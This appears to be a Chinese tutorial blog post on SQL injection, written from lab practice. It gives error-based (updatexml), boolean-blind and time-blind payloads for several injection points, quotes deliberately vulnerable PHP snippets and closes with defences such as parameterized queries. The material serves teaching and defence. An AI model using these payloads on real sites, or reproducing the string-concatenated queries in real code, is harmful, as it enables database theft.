SQL注入概念

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。
从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击着可以
通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。

SQL注入攻击流程

第一步:注入点探测
自动方式:使用web漏洞3描工具,自动进行注入点发现
手动方式:手工构造sql inject测试语句进行注入点发现

第二步:信息获取
通过注入点取期望得到的数据。
1.环境信息:数据库类型,数据库版本操作系统版本,用户信息等。
2.数据库信息:数据库名称数据库表,表字段,字段内容(加密内容破解)

第三步:获取权限
获取操作系统权限:通过数据库执行shell,上传木马

常见注入点类型

数字型
user_ id=$id
字符型
user id= '$id'
搜索型
text LIKE '%{$_ GET['search'}%'"

漏洞复现&&利用方法

数字型注入(POST)

POST无法在URL做手脚,那么就直接上BURP抓包,数据包如下:

提交中的POST请求传递id=1,初步判断可能存在SQL注入;

构造语句 id=1 or 1=1通过返回包发现服务端并没有进行任何过滤处理。

猜想:首先通过 $id=$_POST['id']获取传入数值

select字段1,字段2 from表名where id= 1 or 1=1; 拼接字符数据库查询.

代码分析

if(isset($_POST['submit']) && $_POST['id']!=null){
    //这里没有做任何处理,直接拼到select里面去了,形成Sql注入
    $id=$_POST['id'];
    $query="select username,email from member where id=$id";
    $result=execute($link, $query);
    //这里如果用==1,会严格一点

字符型注入(GET)

猜测后台程序结构:

$str=$_GET[‘str’];

select 字段1,字段2 from 表名 where 表名=’$str’

构造payload:cc' or 1=1 #,拼进SQL语句中变成:select 字段1,字段2 from 表名 where 表名=’cc' or 1=1 #’

代码分析:

//这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];
    //这里的变量是字符型,需要考虑闭合
    $query="select id,email from member where username='$name'";

搜索型注入

猜测后台程序结构:

$str=$_GET[‘str’];

select  字段1,字段2  from  表名  where  表名 like  ’%$str%’

构造payload:cc%' or 1=1 #,拼进SQL语句中变成:select  字段1,字段2 from  表名  where  表名=’ xx%' or1=1 #’

代码分析:

//这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];

    //这里的变量是模糊匹配,需要考虑闭合
    $query="select username,id,email from member where username like '%$name%'";

XXX型注入

代码分析

if(isset($_GET['submit']) && $_GET['name']!=null){
    //这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];
    //这里的变量是字符型,需要考虑闭合
    $query="select id,email from member where username=('$name')";

通过观察,构造Payload进行闭合尝试:cc') or 1=1 #

insert/update注入

insert注入

  1. 点击注册在注册处用burp进行抓包,发送到Repeater模块。

  1. 利用concat执行sql注入语句
  2. 使用updatexml报错信息将sql语句执行结果返回
  3.    payload: 'or updatexml(1,concat(0x7e,database(),0x7e),0) or'

    update注入

  4. 使用普通账号登录 点击修改信息在修改信息处Payload使用BurpSuite进行抓包(修改信息建议不要有空)
  5. Payload:

'or updatexml(1,concat(0x7e,database(),0x7e),0) or'


<img src="https://cdn.jsdelivr.net/gh/lateral404/image/image/20200813094211.png"/>

## delete删除注入

1. 先进行随意留言 在删除留言时使用BurpSuite进行抓包,发送Repeater模块
2. ```Payload
payload: 68 or updatexml (1,concat(0x7e,datebase()),0)

且在BurpSuite中Ctrl+U 对payload进行url编码

"http header"注入

  1. 使用admin/123456登陆以后刷新用BurpSuite抓包
  2. 在user-agent后加入payload
  3.    payload: 1' or updatexml (1,concat(0x7e,datebase()),0) or '

    布尔盲注(base on boolian)

    只有输入 and 1=1时才有回显

payload:kobe' and 1=1 #


<img src="https://cdn.jsdelivr.net/gh/lateral404/image/image/20200813101236.png"/>

## 时间盲注(base on time)

payload: kobe' and sleep(10)#


<img src="https://cdn.jsdelivr.net/gh/lateral404/image/image/20200813101235.png"/>

---


现在我们从**测试者的角度**,对网站进行SQL注入**测试**

比如搜索处提示:what's your username?

通过提示信息判断输入得数据类型是字符串。字符串闭合两种方式——>>单引号或双引号

**关键点:** 查看网页回显信息(**报错信息**)来判断我们的输入是否参与到了SQL语句里面去执行。

如果有,那么就意味着我们的输入拼接到了数据库SQL语句中去执行。

### MySQL注释服务器支持的三种类型

--从 `'#'` 字符从行尾。
--从 `'--'`序列到行尾。请注意'--' (双破折号)注释风格要求第2个破折号后面至少跟一个空格符(例如空格、tab、 换行符等等)。
该语法与标准SQL注释语法稍有不同.
--从 `/*`序列到后面的 `*/`序列。结束序列不一定在同一 行中,因此该语法允许注释跨越多行。

**注释风格**

**GET && POST注入的区别**

Get方式中使用URL提交注入数据;
Post方式中使用抓包工具修改post数据部分提交注入;

不管是get方式还是post方式,都可能会出现SQL注入漏洞,本质其实是一样的!

涉及到知识盲区

痴呆

啊吧啊吧

## 防范措施:

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
最后修改:2020 年 11 月 06 日 04 : 31 PM